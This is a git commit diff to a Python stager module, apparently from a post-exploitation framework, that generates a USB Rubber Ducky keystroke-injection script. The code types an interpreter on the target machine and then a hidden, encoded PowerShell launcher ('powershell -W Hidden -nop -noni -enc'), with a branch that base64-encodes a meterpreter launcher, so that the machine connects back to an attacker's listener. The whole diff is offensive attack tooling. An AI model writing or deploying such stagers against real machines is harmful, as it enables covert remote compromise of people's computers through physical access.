php_fix
xorrior 2018-02-18 15:46:19 -05:00
parent 3c29386612
commit 6acf71c7b7
1 changed files with 10 additions and 3 deletions

View File

@ -1,5 +1,6 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
@ -101,11 +102,16 @@ class Stager:
obfuscateScript = True
# generate the launcher code
moduleName = self.mainMenu.listeners.activeListeners[listenerName]['moduleName']
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "" or interpreter == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
if moduleName.lower() == 'meterpreter':
import base64
enc = base64.b64encode(launcher)
else:
enc = launcher.split(" ")[-1]
@ -115,11 +121,12 @@ class Stager:
duckyCode += "STRING "+ interpreter + "\n"
duckyCode += "ENTER\n"
duckyCode += "DELAY 2000\n"
if obfuscateScript and "launcher" in obfuscateCommand.lower():
duckyCode += "STRING "+launcher+" \n"
else:
enc = launcher.split(" ")[-1]
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
duckyCode += "ENTER\n"
return duckyCode